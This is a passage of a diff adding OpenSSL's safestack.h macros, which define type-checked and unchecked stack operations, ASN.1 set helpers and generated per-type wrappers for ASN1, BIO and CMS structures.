stack macros are internal to safestack.h: + * never use them directly, use sk__... instead */ +#define SKM_sk_new(type, cmp) \ + ((STACK_OF(type) *)sk_new(CHECKED_SK_CMP_FUNC(type, cmp))) +#define SKM_sk_new_null(type) \ + ((STACK_OF(type) *)sk_new_null()) +#define SKM_sk_free(type, st) \ + sk_free(CHECKED_PTR_OF(STACK_OF(type), st)) +#define SKM_sk_num(type, st) \ + sk_num(CHECKED_PTR_OF(STACK_OF(type), st)) +#define SKM_sk_value(type, st,i) \ + ((type *)sk_value(CHECKED_PTR_OF(STACK_OF(type), st), i)) +#define SKM_sk_set(type, st,i,val) \ + sk_set(CHECKED_PTR_OF(STACK_OF(type), st), i, CHECKED_PTR_OF(type, val)) +#define SKM_sk_zero(type, st) \ + sk_zero(CHECKED_PTR_OF(STACK_OF(type), st)) +#define SKM_sk_push(type, st,val) \ + sk_push(CHECKED_PTR_OF(STACK_OF(type), st), CHECKED_PTR_OF(type, val)) +#define SKM_sk_unshift(type, st,val) \ + sk_unshift(CHECKED_PTR_OF(STACK_OF(type), st), CHECKED_PTR_OF(type, val)) +#define SKM_sk_find(type, st,val) \ + sk_find(CHECKED_PTR_OF(STACK_OF(type), st), CHECKED_PTR_OF(type, val)) +#define SKM_sk_delete(type, st,i) \ + (type *)sk_delete(CHECKED_PTR_OF(STACK_OF(type), st), i) +#define SKM_sk_delete_ptr(type, st,ptr) \ + (type *)sk_delete_ptr(CHECKED_PTR_OF(STACK_OF(type), st), CHECKED_PTR_OF(type, ptr)) +#define SKM_sk_insert(type, st,val,i) \ + sk_insert(CHECKED_PTR_OF(STACK_OF(type), st), CHECKED_PTR_OF(type, val), i) +#define SKM_sk_set_cmp_func(type, st,cmp) \ + ((int (*)(const type * const *,const type * const *)) \ + sk_set_cmp_func(CHECKED_PTR_OF(STACK_OF(type), st), CHECKED_SK_CMP_FUNC(type, cmp))) +#define SKM_sk_dup(type, st) \ + (STACK_OF(type) *)sk_dup(CHECKED_PTR_OF(STACK_OF(type), st)) +#define SKM_sk_pop_free(type, st,free_func) \ + sk_pop_free(CHECKED_PTR_OF(STACK_OF(type), st), CHECKED_SK_FREE_FUNC(type, free_func)) +#define SKM_sk_shift(type, st) \ + (type *)sk_shift(CHECKED_PTR_OF(STACK_OF(type), st)) +#define SKM_sk_pop(type, st) \ + (type *)sk_pop(CHECKED_PTR_OF(STACK_OF(type), st)) +#define SKM_sk_sort(type, st) \ + sk_sort(CHECKED_PTR_OF(STACK_OF(type), st)) +#define SKM_sk_is_sorted(type, st) \ + sk_is_sorted(CHECKED_PTR_OF(STACK_OF(type), st)) + +#define SKM_ASN1_SET_OF_d2i(type, st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + (STACK_OF(type) *)d2i_ASN1_SET(CHECKED_PTR_OF(STACK_OF(type), st), \ + pp, length, \ + CHECKED_D2I_OF(type, d2i_func), \ + CHECKED_SK_FREE_FUNC(type, free_func), \ + ex_tag, ex_class) + +#define SKM_ASN1_SET_OF_i2d(type, st, pp, i2d_func, ex_tag, ex_class, is_set) \ + i2d_ASN1_SET(CHECKED_PTR_OF(STACK_OF(type), st), pp, \ + CHECKED_I2D_OF(type, i2d_func), \ + ex_tag, ex_class, is_set) + +#define SKM_ASN1_seq_pack(type, st, i2d_func, buf, len) \ + ASN1_seq_pack(CHECKED_PTR_OF(STACK_OF(type), st), \ + CHECKED_I2D_OF(type, i2d_func), buf, len) + +#define SKM_ASN1_seq_unpack(type, buf, len, d2i_func, free_func) \ + (STACK_OF(type) *)ASN1_seq_unpack(buf, len, CHECKED_D2I_OF(type, d2i_func), CHECKED_SK_FREE_FUNC(type, free_func)) + +#define SKM_PKCS12_decrypt_d2i(type, algor, d2i_func, free_func, pass, passlen, oct, seq) \ + (STACK_OF(type) *)PKCS12_decrypt_d2i(algor, \ + CHECKED_D2I_OF(type, d2i_func), \ + CHECKED_SK_FREE_FUNC(type, free_func), \ + pass, passlen, oct, seq) + +#else + +#define STACK_OF(type) STACK +#define PREDECLARE_STACK_OF(type) /* nada */ +#define DECLARE_STACK_OF(type) /* nada */ +#define IMPLEMENT_STACK_OF(type) /* nada */ + +#define SKM_sk_new(type, cmp) \ + sk_new((int (*)(const char * const *, const char * const *))(cmp)) +#define SKM_sk_new_null(type) \ + sk_new_null() +#define SKM_sk_free(type, st) \ + sk_free(st) +#define SKM_sk_num(type, st) \ + sk_num(st) +#define SKM_sk_value(type, st,i) \ + ((type *)sk_value(st, i)) +#define SKM_sk_set(type, st,i,val) \ + ((type *)sk_set(st, i,(char *)val)) +#define SKM_sk_zero(type, st) \ + sk_zero(st) +#define SKM_sk_push(type, st,val) \ + sk_push(st, (char *)val) +#define SKM_sk_unshift(type, st,val) \ + sk_unshift(st, (char *)val) +#define SKM_sk_find(type, st,val) \ + sk_find(st, (char *)val) +#define SKM_sk_delete(type, st,i) \ + ((type *)sk_delete(st, i)) +#define SKM_sk_delete_ptr(type, st,ptr) \ + ((type *)sk_delete_ptr(st,(char *)ptr)) +#define SKM_sk_insert(type, st,val,i) \ + sk_insert(st, (char *)val, i) +#define SKM_sk_set_cmp_func(type, st,cmp) \ + ((int (*)(const type * const *,const type * const *)) \ + sk_set_cmp_func(st, (int (*)(const char * const *, const char * const *))(cmp))) +#define SKM_sk_dup(type, st) \ + sk_dup(st) +#define SKM_sk_pop_free(type, st,free_func) \ + sk_pop_free(st, (void (*)(void *))free_func) +#define SKM_sk_shift(type, st) \ + ((type *)sk_shift(st)) +#define SKM_sk_pop(type, st) \ + ((type *)sk_pop(st)) +#define SKM_sk_sort(type, st) \ + sk_sort(st) +#define SKM_sk_is_sorted(type, st) \ + sk_is_sorted(st) + +#define SKM_ASN1_SET_OF_d2i(type, st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + d2i_ASN1_SET(st,pp,length, (void *(*)(void ** ,const unsigned char ** ,long))d2i_func, (void (*)(void *))free_func, ex_tag,ex_class) +#define SKM_ASN1_SET_OF_i2d(type, st, pp, i2d_func, ex_tag, ex_class, is_set) \ + i2d_ASN1_SET(st,pp,(int (*)(void *, unsigned char **))i2d_func,ex_tag,ex_class,is_set) + +#define SKM_ASN1_seq_pack(type, st, i2d_func, buf, len) \ + ASN1_seq_pack(st, (int (*)(void *, unsigned char **))i2d_func, buf, len) +#define SKM_ASN1_seq_unpack(type, buf, len, d2i_func, free_func) \ + ASN1_seq_unpack(buf,len,(void *(*)(void **,const unsigned char **,long))d2i_func, (void(*)(void *))free_func) + +#define SKM_PKCS12_decrypt_d2i(type, algor, d2i_func, free_func, pass, passlen, oct, seq) \ + ((STACK *)PKCS12_decrypt_d2i(algor,(char *(*)())d2i_func, (void(*)(void *))free_func,pass,passlen,oct,seq)) + +#endif + +/* This block of defines is updated by util/mkstack.pl, please do not touch! */ +#define sk_ACCESS_DESCRIPTION_new(st) SKM_sk_new(ACCESS_DESCRIPTION, (st)) +#define sk_ACCESS_DESCRIPTION_new_null() SKM_sk_new_null(ACCESS_DESCRIPTION) +#define sk_ACCESS_DESCRIPTION_free(st) SKM_sk_free(ACCESS_DESCRIPTION, (st)) +#define sk_ACCESS_DESCRIPTION_num(st) SKM_sk_num(ACCESS_DESCRIPTION, (st)) +#define sk_ACCESS_DESCRIPTION_value(st, i) SKM_sk_value(ACCESS_DESCRIPTION, (st), (i)) +#define sk_ACCESS_DESCRIPTION_set(st, i, val) SKM_sk_set(ACCESS_DESCRIPTION, (st), (i), (val)) +#define sk_ACCESS_DESCRIPTION_zero(st) SKM_sk_zero(ACCESS_DESCRIPTION, (st)) +#define sk_ACCESS_DESCRIPTION_push(st, val) SKM_sk_push(ACCESS_DESCRIPTION, (st), (val)) +#define sk_ACCESS_DESCRIPTION_unshift(st, val) SKM_sk_unshift(ACCESS_DESCRIPTION, (st), (val)) +#define sk_ACCESS_DESCRIPTION_find(st, val) SKM_sk_find(ACCESS_DESCRIPTION, (st), (val)) +#define sk_ACCESS_DESCRIPTION_find_ex(st, val) SKM_sk_find_ex(ACCESS_DESCRIPTION, (st), (val)) +#define sk_ACCESS_DESCRIPTION_delete(st, i) SKM_sk_delete(ACCESS_DESCRIPTION, (st), (i)) +#define sk_ACCESS_DESCRIPTION_delete_ptr(st, ptr) SKM_sk_delete_ptr(ACCESS_DESCRIPTION, (st), (ptr)) +#define sk_ACCESS_DESCRIPTION_insert(st, val, i) SKM_sk_insert(ACCESS_DESCRIPTION, (st), (val), (i)) +#define sk_ACCESS_DESCRIPTION_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ACCESS_DESCRIPTION, (st), (cmp)) +#define sk_ACCESS_DESCRIPTION_dup(st) SKM_sk_dup(ACCESS_DESCRIPTION, st) +#define sk_ACCESS_DESCRIPTION_pop_free(st, free_func) SKM_sk_pop_free(ACCESS_DESCRIPTION, (st), (free_func)) +#define sk_ACCESS_DESCRIPTION_shift(st) SKM_sk_shift(ACCESS_DESCRIPTION, (st)) +#define sk_ACCESS_DESCRIPTION_pop(st) SKM_sk_pop(ACCESS_DESCRIPTION, (st)) +#define sk_ACCESS_DESCRIPTION_sort(st) SKM_sk_sort(ACCESS_DESCRIPTION, (st)) +#define sk_ACCESS_DESCRIPTION_is_sorted(st) SKM_sk_is_sorted(ACCESS_DESCRIPTION, (st)) + +#define sk_ASIdOrRange_new(st) SKM_sk_new(ASIdOrRange, (st)) +#define sk_ASIdOrRange_new_null() SKM_sk_new_null(ASIdOrRange) +#define sk_ASIdOrRange_free(st) SKM_sk_free(ASIdOrRange, (st)) +#define sk_ASIdOrRange_num(st) SKM_sk_num(ASIdOrRange, (st)) +#define sk_ASIdOrRange_value(st, i) SKM_sk_value(ASIdOrRange, (st), (i)) +#define sk_ASIdOrRange_set(st, i, val) SKM_sk_set(ASIdOrRange, (st), (i), (val)) +#define sk_ASIdOrRange_zero(st) SKM_sk_zero(ASIdOrRange, (st)) +#define sk_ASIdOrRange_push(st, val) SKM_sk_push(ASIdOrRange, (st), (val)) +#define sk_ASIdOrRange_unshift(st, val) SKM_sk_unshift(ASIdOrRange, (st), (val)) +#define sk_ASIdOrRange_find(st, val) SKM_sk_find(ASIdOrRange, (st), (val)) +#define sk_ASIdOrRange_find_ex(st, val) SKM_sk_find_ex(ASIdOrRange, (st), (val)) +#define sk_ASIdOrRange_delete(st, i) SKM_sk_delete(ASIdOrRange, (st), (i)) +#define sk_ASIdOrRange_delete_ptr(st, ptr) SKM_sk_delete_ptr(ASIdOrRange, (st), (ptr)) +#define sk_ASIdOrRange_insert(st, val, i) SKM_sk_insert(ASIdOrRange, (st), (val), (i)) +#define sk_ASIdOrRange_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ASIdOrRange, (st), (cmp)) +#define sk_ASIdOrRange_dup(st) SKM_sk_dup(ASIdOrRange, st) +#define sk_ASIdOrRange_pop_free(st, free_func) SKM_sk_pop_free(ASIdOrRange, (st), (free_func)) +#define sk_ASIdOrRange_shift(st) SKM_sk_shift(ASIdOrRange, (st)) +#define sk_ASIdOrRange_pop(st) SKM_sk_pop(ASIdOrRange, (st)) +#define sk_ASIdOrRange_sort(st) SKM_sk_sort(ASIdOrRange, (st)) +#define sk_ASIdOrRange_is_sorted(st) SKM_sk_is_sorted(ASIdOrRange, (st)) + +#define sk_ASN1_GENERALSTRING_new(st) SKM_sk_new(ASN1_GENERALSTRING, (st)) +#define sk_ASN1_GENERALSTRING_new_null() SKM_sk_new_null(ASN1_GENERALSTRING) +#define sk_ASN1_GENERALSTRING_free(st) SKM_sk_free(ASN1_GENERALSTRING, (st)) +#define sk_ASN1_GENERALSTRING_num(st) SKM_sk_num(ASN1_GENERALSTRING, (st)) +#define sk_ASN1_GENERALSTRING_value(st, i) SKM_sk_value(ASN1_GENERALSTRING, (st), (i)) +#define sk_ASN1_GENERALSTRING_set(st, i, val) SKM_sk_set(ASN1_GENERALSTRING, (st), (i), (val)) +#define sk_ASN1_GENERALSTRING_zero(st) SKM_sk_zero(ASN1_GENERALSTRING, (st)) +#define sk_ASN1_GENERALSTRING_push(st, val) SKM_sk_push(ASN1_GENERALSTRING, (st), (val)) +#define sk_ASN1_GENERALSTRING_unshift(st, val) SKM_sk_unshift(ASN1_GENERALSTRING, (st), (val)) +#define sk_ASN1_GENERALSTRING_find(st, val) SKM_sk_find(ASN1_GENERALSTRING, (st), (val)) +#define sk_ASN1_GENERALSTRING_find_ex(st, val) SKM_sk_find_ex(ASN1_GENERALSTRING, (st), (val)) +#define sk_ASN1_GENERALSTRING_delete(st, i) SKM_sk_delete(ASN1_GENERALSTRING, (st), (i)) +#define sk_ASN1_GENERALSTRING_delete_ptr(st, ptr) SKM_sk_delete_ptr(ASN1_GENERALSTRING, (st), (ptr)) +#define sk_ASN1_GENERALSTRING_insert(st, val, i) SKM_sk_insert(ASN1_GENERALSTRING, (st), (val), (i)) +#define sk_ASN1_GENERALSTRING_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ASN1_GENERALSTRING, (st), (cmp)) +#define sk_ASN1_GENERALSTRING_dup(st) SKM_sk_dup(ASN1_GENERALSTRING, st) +#define sk_ASN1_GENERALSTRING_pop_free(st, free_func) SKM_sk_pop_free(ASN1_GENERALSTRING, (st), (free_func)) +#define sk_ASN1_GENERALSTRING_shift(st) SKM_sk_shift(ASN1_GENERALSTRING, (st)) +#define sk_ASN1_GENERALSTRING_pop(st) SKM_sk_pop(ASN1_GENERALSTRING, (st)) +#define sk_ASN1_GENERALSTRING_sort(st) SKM_sk_sort(ASN1_GENERALSTRING, (st)) +#define sk_ASN1_GENERALSTRING_is_sorted(st) SKM_sk_is_sorted(ASN1_GENERALSTRING, (st)) + +#define sk_ASN1_INTEGER_new(st) SKM_sk_new(ASN1_INTEGER, (st)) +#define sk_ASN1_INTEGER_new_null() SKM_sk_new_null(ASN1_INTEGER) +#define sk_ASN1_INTEGER_free(st) SKM_sk_free(ASN1_INTEGER, (st)) +#define sk_ASN1_INTEGER_num(st) SKM_sk_num(ASN1_INTEGER, (st)) +#define sk_ASN1_INTEGER_value(st, i) SKM_sk_value(ASN1_INTEGER, (st), (i)) +#define sk_ASN1_INTEGER_set(st, i, val) SKM_sk_set(ASN1_INTEGER, (st), (i), (val)) +#define sk_ASN1_INTEGER_zero(st) SKM_sk_zero(ASN1_INTEGER, (st)) +#define sk_ASN1_INTEGER_push(st, val) SKM_sk_push(ASN1_INTEGER, (st), (val)) +#define sk_ASN1_INTEGER_unshift(st, val) SKM_sk_unshift(ASN1_INTEGER, (st), (val)) +#define sk_ASN1_INTEGER_find(st, val) SKM_sk_find(ASN1_INTEGER, (st), (val)) +#define sk_ASN1_INTEGER_find_ex(st, val) SKM_sk_find_ex(ASN1_INTEGER, (st), (val)) +#define sk_ASN1_INTEGER_delete(st, i) SKM_sk_delete(ASN1_INTEGER, (st), (i)) +#define sk_ASN1_INTEGER_delete_ptr(st, ptr) SKM_sk_delete_ptr(ASN1_INTEGER, (st), (ptr)) +#define sk_ASN1_INTEGER_insert(st, val, i) SKM_sk_insert(ASN1_INTEGER, (st), (val), (i)) +#define sk_ASN1_INTEGER_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ASN1_INTEGER, (st), (cmp)) +#define sk_ASN1_INTEGER_dup(st) SKM_sk_dup(ASN1_INTEGER, st) +#define sk_ASN1_INTEGER_pop_free(st, free_func) SKM_sk_pop_free(ASN1_INTEGER, (st), (free_func)) +#define sk_ASN1_INTEGER_shift(st) SKM_sk_shift(ASN1_INTEGER, (st)) +#define sk_ASN1_INTEGER_pop(st) SKM_sk_pop(ASN1_INTEGER, (st)) +#define sk_ASN1_INTEGER_sort(st) SKM_sk_sort(ASN1_INTEGER, (st)) +#define sk_ASN1_INTEGER_is_sorted(st) SKM_sk_is_sorted(ASN1_INTEGER, (st)) + +#define sk_ASN1_OBJECT_new(st) SKM_sk_new(ASN1_OBJECT, (st)) +#define sk_ASN1_OBJECT_new_null() SKM_sk_new_null(ASN1_OBJECT) +#define sk_ASN1_OBJECT_free(st) SKM_sk_free(ASN1_OBJECT, (st)) +#define sk_ASN1_OBJECT_num(st) SKM_sk_num(ASN1_OBJECT, (st)) +#define sk_ASN1_OBJECT_value(st, i) SKM_sk_value(ASN1_OBJECT, (st), (i)) +#define sk_ASN1_OBJECT_set(st, i, val) SKM_sk_set(ASN1_OBJECT, (st), (i), (val)) +#define sk_ASN1_OBJECT_zero(st) SKM_sk_zero(ASN1_OBJECT, (st)) +#define sk_ASN1_OBJECT_push(st, val) SKM_sk_push(ASN1_OBJECT, (st), (val)) +#define sk_ASN1_OBJECT_unshift(st, val) SKM_sk_unshift(ASN1_OBJECT, (st), (val)) +#define sk_ASN1_OBJECT_find(st, val) SKM_sk_find(ASN1_OBJECT, (st), (val)) +#define sk_ASN1_OBJECT_find_ex(st, val) SKM_sk_find_ex(ASN1_OBJECT, (st), (val)) +#define sk_ASN1_OBJECT_delete(st, i) SKM_sk_delete(ASN1_OBJECT, (st), (i)) +#define sk_ASN1_OBJECT_delete_ptr(st, ptr) SKM_sk_delete_ptr(ASN1_OBJECT, (st), (ptr)) +#define sk_ASN1_OBJECT_insert(st, val, i) SKM_sk_insert(ASN1_OBJECT, (st), (val), (i)) +#define sk_ASN1_OBJECT_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ASN1_OBJECT, (st), (cmp)) +#define sk_ASN1_OBJECT_dup(st) SKM_sk_dup(ASN1_OBJECT, st) +#define sk_ASN1_OBJECT_pop_free(st, free_func) SKM_sk_pop_free(ASN1_OBJECT, (st), (free_func)) +#define sk_ASN1_OBJECT_shift(st) SKM_sk_shift(ASN1_OBJECT, (st)) +#define sk_ASN1_OBJECT_pop(st) SKM_sk_pop(ASN1_OBJECT, (st)) +#define sk_ASN1_OBJECT_sort(st) SKM_sk_sort(ASN1_OBJECT, (st)) +#define sk_ASN1_OBJECT_is_sorted(st) SKM_sk_is_sorted(ASN1_OBJECT, (st)) + +#define sk_ASN1_STRING_TABLE_new(st) SKM_sk_new(ASN1_STRING_TABLE, (st)) +#define sk_ASN1_STRING_TABLE_new_null() SKM_sk_new_null(ASN1_STRING_TABLE) +#define sk_ASN1_STRING_TABLE_free(st) SKM_sk_free(ASN1_STRING_TABLE, (st)) +#define sk_ASN1_STRING_TABLE_num(st) SKM_sk_num(ASN1_STRING_TABLE, (st)) +#define sk_ASN1_STRING_TABLE_value(st, i) SKM_sk_value(ASN1_STRING_TABLE, (st), (i)) +#define sk_ASN1_STRING_TABLE_set(st, i, val) SKM_sk_set(ASN1_STRING_TABLE, (st), (i), (val)) +#define sk_ASN1_STRING_TABLE_zero(st) SKM_sk_zero(ASN1_STRING_TABLE, (st)) +#define sk_ASN1_STRING_TABLE_push(st, val) SKM_sk_push(ASN1_STRING_TABLE, (st), (val)) +#define sk_ASN1_STRING_TABLE_unshift(st, val) SKM_sk_unshift(ASN1_STRING_TABLE, (st), (val)) +#define sk_ASN1_STRING_TABLE_find(st, val) SKM_sk_find(ASN1_STRING_TABLE, (st), (val)) +#define sk_ASN1_STRING_TABLE_find_ex(st, val) SKM_sk_find_ex(ASN1_STRING_TABLE, (st), (val)) +#define sk_ASN1_STRING_TABLE_delete(st, i) SKM_sk_delete(ASN1_STRING_TABLE, (st), (i)) +#define sk_ASN1_STRING_TABLE_delete_ptr(st, ptr) SKM_sk_delete_ptr(ASN1_STRING_TABLE, (st), (ptr)) +#define sk_ASN1_STRING_TABLE_insert(st, val, i) SKM_sk_insert(ASN1_STRING_TABLE, (st), (val), (i)) +#define sk_ASN1_STRING_TABLE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ASN1_STRING_TABLE, (st), (cmp)) +#define sk_ASN1_STRING_TABLE_dup(st) SKM_sk_dup(ASN1_STRING_TABLE, st) +#define sk_ASN1_STRING_TABLE_pop_free(st, free_func) SKM_sk_pop_free(ASN1_STRING_TABLE, (st), (free_func)) +#define sk_ASN1_STRING_TABLE_shift(st) SKM_sk_shift(ASN1_STRING_TABLE, (st)) +#define sk_ASN1_STRING_TABLE_pop(st) SKM_sk_pop(ASN1_STRING_TABLE, (st)) +#define sk_ASN1_STRING_TABLE_sort(st) SKM_sk_sort(ASN1_STRING_TABLE, (st)) +#define sk_ASN1_STRING_TABLE_is_sorted(st) SKM_sk_is_sorted(ASN1_STRING_TABLE, (st)) + +#define sk_ASN1_TYPE_new(st) SKM_sk_new(ASN1_TYPE, (st)) +#define sk_ASN1_TYPE_new_null() SKM_sk_new_null(ASN1_TYPE) +#define sk_ASN1_TYPE_free(st) SKM_sk_free(ASN1_TYPE, (st)) +#define sk_ASN1_TYPE_num(st) SKM_sk_num(ASN1_TYPE, (st)) +#define sk_ASN1_TYPE_value(st, i) SKM_sk_value(ASN1_TYPE, (st), (i)) +#define sk_ASN1_TYPE_set(st, i, val) SKM_sk_set(ASN1_TYPE, (st), (i), (val)) +#define sk_ASN1_TYPE_zero(st) SKM_sk_zero(ASN1_TYPE, (st)) +#define sk_ASN1_TYPE_push(st, val) SKM_sk_push(ASN1_TYPE, (st), (val)) +#define sk_ASN1_TYPE_unshift(st, val) SKM_sk_unshift(ASN1_TYPE, (st), (val)) +#define sk_ASN1_TYPE_find(st, val) SKM_sk_find(ASN1_TYPE, (st), (val)) +#define sk_ASN1_TYPE_find_ex(st, val) SKM_sk_find_ex(ASN1_TYPE, (st), (val)) +#define sk_ASN1_TYPE_delete(st, i) SKM_sk_delete(ASN1_TYPE, (st), (i)) +#define sk_ASN1_TYPE_delete_ptr(st, ptr) SKM_sk_delete_ptr(ASN1_TYPE, (st), (ptr)) +#define sk_ASN1_TYPE_insert(st, val, i) SKM_sk_insert(ASN1_TYPE, (st), (val), (i)) +#define sk_ASN1_TYPE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ASN1_TYPE, (st), (cmp)) +#define sk_ASN1_TYPE_dup(st) SKM_sk_dup(ASN1_TYPE, st) +#define sk_ASN1_TYPE_pop_free(st, free_func) SKM_sk_pop_free(ASN1_TYPE, (st), (free_func)) +#define sk_ASN1_TYPE_shift(st) SKM_sk_shift(ASN1_TYPE, (st)) +#define sk_ASN1_TYPE_pop(st) SKM_sk_pop(ASN1_TYPE, (st)) +#define sk_ASN1_TYPE_sort(st) SKM_sk_sort(ASN1_TYPE, (st)) +#define sk_ASN1_TYPE_is_sorted(st) SKM_sk_is_sorted(ASN1_TYPE, (st)) + +#define sk_ASN1_VALUE_new(st) SKM_sk_new(ASN1_VALUE, (st)) +#define sk_ASN1_VALUE_new_null() SKM_sk_new_null(ASN1_VALUE) +#define sk_ASN1_VALUE_free(st) SKM_sk_free(ASN1_VALUE, (st)) +#define sk_ASN1_VALUE_num(st) SKM_sk_num(ASN1_VALUE, (st)) +#define sk_ASN1_VALUE_value(st, i) SKM_sk_value(ASN1_VALUE, (st), (i)) +#define sk_ASN1_VALUE_set(st, i, val) SKM_sk_set(ASN1_VALUE, (st), (i), (val)) +#define sk_ASN1_VALUE_zero(st) SKM_sk_zero(ASN1_VALUE, (st)) +#define sk_ASN1_VALUE_push(st, val) SKM_sk_push(ASN1_VALUE, (st), (val)) +#define sk_ASN1_VALUE_unshift(st, val) SKM_sk_unshift(ASN1_VALUE, (st), (val)) +#define sk_ASN1_VALUE_find(st, val) SKM_sk_find(ASN1_VALUE, (st), (val)) +#define sk_ASN1_VALUE_find_ex(st, val) SKM_sk_find_ex(ASN1_VALUE, (st), (val)) +#define sk_ASN1_VALUE_delete(st, i) SKM_sk_delete(ASN1_VALUE, (st), (i)) +#define sk_ASN1_VALUE_delete_ptr(st, ptr) SKM_sk_delete_ptr(ASN1_VALUE, (st), (ptr)) +#define sk_ASN1_VALUE_insert(st, val, i) SKM_sk_insert(ASN1_VALUE, (st), (val), (i)) +#define sk_ASN1_VALUE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ASN1_VALUE, (st), (cmp)) +#define sk_ASN1_VALUE_dup(st) SKM_sk_dup(ASN1_VALUE, st) +#define sk_ASN1_VALUE_pop_free(st, free_func) SKM_sk_pop_free(ASN1_VALUE, (st), (free_func)) +#define sk_ASN1_VALUE_shift(st) SKM_sk_shift(ASN1_VALUE, (st)) +#define sk_ASN1_VALUE_pop(st) SKM_sk_pop(ASN1_VALUE, (st)) +#define sk_ASN1_VALUE_sort(st) SKM_sk_sort(ASN1_VALUE, (st)) +#define sk_ASN1_VALUE_is_sorted(st) SKM_sk_is_sorted(ASN1_VALUE, (st)) + +#define sk_BIO_new(st) SKM_sk_new(BIO, (st)) +#define sk_BIO_new_null() SKM_sk_new_null(BIO) +#define sk_BIO_free(st) SKM_sk_free(BIO, (st)) +#define sk_BIO_num(st) SKM_sk_num(BIO, (st)) +#define sk_BIO_value(st, i) SKM_sk_value(BIO, (st), (i)) +#define sk_BIO_set(st, i, val) SKM_sk_set(BIO, (st), (i), (val)) +#define sk_BIO_zero(st) SKM_sk_zero(BIO, (st)) +#define sk_BIO_push(st, val) SKM_sk_push(BIO, (st), (val)) +#define sk_BIO_unshift(st, val) SKM_sk_unshift(BIO, (st), (val)) +#define sk_BIO_find(st, val) SKM_sk_find(BIO, (st), (val)) +#define sk_BIO_find_ex(st, val) SKM_sk_find_ex(BIO, (st), (val)) +#define sk_BIO_delete(st, i) SKM_sk_delete(BIO, (st), (i)) +#define sk_BIO_delete_ptr(st, ptr) SKM_sk_delete_ptr(BIO, (st), (ptr)) +#define sk_BIO_insert(st, val, i) SKM_sk_insert(BIO, (st), (val), (i)) +#define sk_BIO_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(BIO, (st), (cmp)) +#define sk_BIO_dup(st) SKM_sk_dup(BIO, st) +#define sk_BIO_pop_free(st, free_func) SKM_sk_pop_free(BIO, (st), (free_func)) +#define sk_BIO_shift(st) SKM_sk_shift(BIO, (st)) +#define sk_BIO_pop(st) SKM_sk_pop(BIO, (st)) +#define sk_BIO_sort(st) SKM_sk_sort(BIO, (st)) +#define sk_BIO_is_sorted(st) SKM_sk_is_sorted(BIO, (st)) + +#define sk_CMS_CertificateChoices_new(st) SKM_sk_new(CMS_CertificateChoices, (st)) +#define sk_CMS_CertificateChoices_new_null() SKM_sk_new_null(CMS_CertificateChoices) +#define sk_CMS_CertificateChoices_free(st) SKM_sk_free(CMS_CertificateChoices, (st)) +#define sk_CMS_CertificateChoices_num(st) SKM_sk_num(CMS_CertificateChoices, (st)) +#define sk_CMS_CertificateChoices_value(st, i) SKM_sk_value(CMS_CertificateChoices, (st), (i)) +#define sk_CMS_CertificateChoices_set(st, i, val) SKM_sk_set(CMS_CertificateChoices, (st), (i), (val)) +#define sk_CMS_CertificateChoices_zero(st) SKM_sk_zero(CMS_CertificateChoices, (st)) +#define sk_CMS_CertificateChoices_push(st, val) SKM_sk_push(CMS_CertificateChoices, (st), (val)) +#define sk_CMS_CertificateChoices_unshift(st, val) SKM_sk_unshift(CMS_CertificateChoices, (st), (val)) +#define sk_CMS_CertificateChoices_find(st, val) SKM_sk_find(CMS_CertificateChoices, (st), (val)) +#define sk_CMS_CertificateChoices_find_ex(st, val) SKM_sk_find_ex(CMS_CertificateChoices, (st), (val)) +#define sk_CMS_CertificateChoices_delete(st, i) SKM_sk_delete(CMS_CertificateChoices, (st), (i)) +#define sk_CMS_CertificateChoices_delete_ptr(st, ptr) SKM_sk_delete_ptr(CMS_CertificateChoices, (st), (ptr)) +#define sk_CMS_CertificateChoices_insert(st, val, i) SKM_sk_insert(CMS_CertificateChoices, (st), (val), (i)) +#define sk_CMS_CertificateChoices_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(CMS_CertificateChoices, (st), (cmp)) +#define sk_CMS_CertificateChoices_dup(st) SKM_sk_dup(CMS_CertificateChoices, st) +#define sk_CMS_CertificateChoices_pop_free(st, free_func) SKM_sk_pop_free(CMS_CertificateChoices, (st), (free_func)) +#define sk_CMS_CertificateChoices_shift(st) SKM_sk_shift(CMS_CertificateChoices, (st)) +#define sk_CMS_CertificateChoices_pop(st) SKM_sk_pop(CMS_CertificateChoices, (st)) +#define sk_CMS_CertificateChoices_sort(st) SKM_sk_sort(CMS_CertificateChoices, (st)) +#define sk_CMS_CertificateChoices_is_sorted(st) SKM_sk_is_sorted(CMS_CertificateChoices, (st)) + +#define sk_CMS_RecipientInfo_new(st) SKM_sk_new(CMS_RecipientInfo, (st)) +#define sk_CMS_RecipientInfo_new_null() SKM_sk_new_null(CMS_RecipientInfo) +#define sk_CMS_RecipientInfo_free(st) SKM_sk_free(CMS_RecipientInfo, (st)) +#define sk_CMS_RecipientInfo_num(st) SKM_sk_num(CMS_RecipientInfo, (st)) +#define sk_CMS_RecipientInfo_value(st, i) SKM_sk_value(CMS_RecipientInfo, (st), (i)) +#define sk_CMS_RecipientInfo_set(st, i, val) SKM_sk_set(CMS_RecipientInfo, (st), (i), (val)) +#define sk_CMS_RecipientInfo_zero(st) SKM_sk_zero(CMS_RecipientInfo, (st)) +#define sk_CMS_RecipientInfo_push(st, val) SKM_sk_push(CMS_RecipientInfo, (st), (val)) +#define sk_CMS_RecipientInfo_unshift(st, val) SKM_sk_unshift(CMS_RecipientInfo, (st), (val)) +#define sk_CMS_RecipientInfo_find(st, val) SKM_sk_find(CMS_RecipientInfo, (st), (val)) +#define sk_CMS_RecipientInfo_find_ex(st, val) SKM_sk_find_ex(CMS_RecipientInfo, (st), (val)) +#define sk_CMS_RecipientInfo_delete(st, i) SKM_sk_delete(CMS_RecipientInfo, (st), (i)) +#define sk_CMS_RecipientInfo_delete_ptr(st, ptr) SKM_sk_delete_ptr(CMS_RecipientInfo, (st), (ptr)) +#define sk_CMS_RecipientInfo_insert(st, val, i) SKM_sk_insert(CMS_RecipientInfo, (st), (val), (i)) +#define sk_CMS_RecipientInfo_set_cmp_func(st, cmp) 